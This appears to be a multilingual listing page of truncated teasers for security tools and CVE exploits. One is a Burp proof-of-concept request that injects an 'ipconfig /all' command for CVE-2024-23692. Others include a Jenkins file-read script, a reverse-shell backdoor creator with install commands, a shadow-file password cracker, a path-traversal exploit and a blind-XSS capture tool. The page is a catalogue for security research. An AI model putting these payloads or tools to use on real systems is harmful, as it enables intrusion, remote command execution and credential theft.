CVE-2024-23692

CVE-2024-23692 BURP POC root@kitploit: GET /?n=%0A&cmd=ipconfig+/all&search=%25xxx%25url:%password%.exec|.?cmd.|timeout=15|out=abc..?n..?n.RESULT:.?n..^abc.====.?n. HTTP/1.1 Host: xxxx User-Agent: Mozilla/5.0 X11; Linux x8664; rv:109.0 Gecko/20100101 Firefox/115.0 Accept:...

CVE-2024-23897

अनंत द्वारा संशोधन /etc/os-release जैसी फ़ाइलों को पढ़ने पर सामग्री कट जाती थी। अब यह ठीक हो गया है। प्रमाणित सत्र के लिए समर्थन जोड़ा गया: कमांडलाइन तर्कों के रूप में उपयोगकर्ता नाम और पासवर्ड प्रदान करें root@kitploit: usage: jenkinsfileread.py -h -u URL -a USERAGENT -f FILE -t TIMEOUT -s -o -p...

RpcProxyInvoke

RpcProxyInvoke نظرة عامة لإنشاء طريقة عامة لتنفيذ الكود المحلي والبعيد، صممنا طريقة غامضة نسبياً لتنفيذ الكود، والتي نشير إليها داخلياً باسم RpcCraft Self وRpcExec Remote Process. تستغل هذه التقنية منهجية معروفة جيداً بين مطوري الاستغلال، وهي إساءة استخدام استدعاءات خادم RPC استدعاء الإجراء البعي...

winspy

WinSpy winspy : Windows Reverse Shell Backdoor Creator With ip poisener Dependencies 1 - metasploit-framework 2 - xterm 3 - apache2 Installation root@kitploit: sudo apt-get install git git clone https://github.com/TunisianEagles/winspy.git cd winspy chmod +x setup.sh ./setup.sh chmod +x winspy.sh...

owt

वर्तमान में अस्थिर, अंततः अपडेट किया जाएगा। आक्रामक वाईफाई टूलकिट owt जिसे Brennan Mccown clu3bot द्वारा बनाया गया है यह उपकरण वाईफाई ऑडिटिंग के लिए कुछ आवश्यक उपकरणों को एक यूनिक्स बैश स्क्रिप्ट में एक उपयोगकर्ता-अनुकूल इंटरफेस के साथ संकलित करता है। owt का लक्ष्य सबसे छोटा फ़ाइल आकार रखना है जब...

owt

Currently unstable will be updated eventually. Offensive Wifi Toolkit owt created by Brennan Mccown clu3bot This tool compiles some necessary tools for wifi auditing in a unix bash script with a user friendly interface. The goal of owt is to have the smallest file size possible while still...

Zydra

Zydra Zydra is a file password recovery tool and Linux shadow file cracker. It uses the dictionary search or Brute force method for cracking passwords. Supported Files RAR Files Legacy ZIP Files PDF Files Linux Shadow Files zydra can find all the user’s password in the linux shadow file one after...

bluebox

Bluebox قيد التطوير مجموعة من الاستغلالات لمختلف منتجات VoIP. بفضل Go Exploit Framework. إذا وصلت إلى هنا بحثًا عن حل لاختبار اختراق VoIP، فألقِ نظرة على Sippts sippts-gui في Kali أو SIPVicious. هذا المشروع أكثر تركيزًا على مرحلة الاستغلال. التثبيت root@kitploit: git clone...

objection

📱objection - Runtime Mobile Exploration objection is a runtime mobile exploration toolkit, powered by Frida, built to help you assess the security posture of your mobile applications, without needing a jailbreak. Supports both iOS and Android. Inspect and interact with container file systems...

objection

📱objection - रनटाइम मोबाइल अन्वेषण objection एक रनटाइम मोबाइल अन्वेषण टूलकिट है, जो Frida द्वारा संचालित है, जिसे आपके मोबाइल एप्लिकेशन की सुरक्षा स्थिति का आकलन करने में मदद करने के लिए बनाया गया है, बिना जेलब्रेक की आवश्यकता के। iOS और Android दोनों को सपोर्ट करता है। कंटेनर फाइल सिस्टम का...

CVE-2018-1000199

CVE-2018-1000199 Linux ptrace कोड डीबग रजिस्टरों तक पहुंच को वर्चुअलाइज़ करता है, और वर्चुअलाइज़ेशन कोड में गलत त्रुटि प्रबंधन है। इसका मतलब है कि यदि आप DR0 में कोई अवैध मान लिखते हैं, तो कर्नेल के ब्रेकपॉइंट ट्रैकिंग की आंतरिक स्थिति दूषित हो सकती है, इस तथ्य के बावजूद कि ptrace कॉल -EINVAL...

CVE-2026-36522

CVE-2026-36522 حقن NaN غير مصدق عبر MAVLinkPARAMSET في ArduPilot ArduPlane | ---|--- CVE| CVE-2026-36522 CWE| CWE-1287 التحقق غير السليم من النوع المحدد للمدخل CVSS 3.1| 9.1 حرج — AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:H المتأثر| ArduPilot ArduPlane 4.0.1 مؤكد المكوّن| GCSMAVLINK::handleparamset —...

CVE-2025-63408

CVE-2025-63408 path-traversal.py: Une réimplémentation de https://github.com/eric-m-holub/double-agent/blob/main/doubleagent.py Utilise des uuids dans le nom de fichier demandé pour éviter le plantage du serveur distant après la première exploitation de path traversal. run.py / shell.py: wrapper...

CVE-2021-26871_POC

CVE-2021-26871POC POC لـ CVE-2021-26871ربما "PROPVARIANT" التباس النوع في WalletService...

CVE-2024-38077-RDLCheck

CVE-2024-38077-RDLCheck RDL सेवा चल रही है या नहीं यह जाँचें, प्रभावित संसाधनों की त्वरित पहचान करें उपयोग विधि: impacket स्थापित करें root@kitploit: git clone https://github.com/fortra/impacket.git cd impacket python3 -m pipx install . स्क्रिप्ट उपयोग विधि: root@kitploit: python3 RDLCheck.py...

iOS18.6.2-Persistent-Automation-Exploit-in-Siri-Shortcuts-and-Apple-SWC

التحقق غير السليم من المدخلات في اختصارات Siri وبيانات اعتماد الويب المشتركة اكتشفها: جوزيف غويديش الثاني تاريخ الاكتشاف: 20 أغسطس 2025 الخطورة: عالية الملخص التنفيذي يوضح هذا التقرير سلسلة ثغرات عالية الخطورة تؤثر على إطار عمل اختصارات Siri وبيانات اعتماد الويب المشتركة SWC من Apple. تسمح هذه...

peach

Peach Fuzz - Vulnerability Scanning Framework This tool aims to look through files in a given directory to detect any unsafe, vulnerable, or dangerous function calls. It is designed to be extensible and easy to understand; you can "plug-and-play" modules that specify criteria on which types of...

XSS-Catcher

XSS Catcher A blind XSS detection and XSS data capture framework that runs on Flask, VueJS and PostgreSQL. XSS Catcher is an intuitive tool that automates blind Cross-Site Scripting XSS attacks and data gathering, including screenshots. It features a user-friendly payload generator for creating...

Adama

Adama Searches For Threat Hunting and Security Analytics A collection of known log and / or event data searches for threat hunting and detection. They enumerate sets of searches used across many different data pipelines. Implementation details are for ELK. Adama is part of the SpaceCake project...

cve-2016-6515

CVE-2016-6515 هذا جزء من Cved: أداة لإدارة حاويات دوكر الضعيفة. Cved: https://github.com/git-rep-src/cved مصدر الصورة: https://github.com/cved-sources/cve-2016-6515 مؤلف الصورة: https://github.com/opsxcq/exploit-CVE-2016-6515...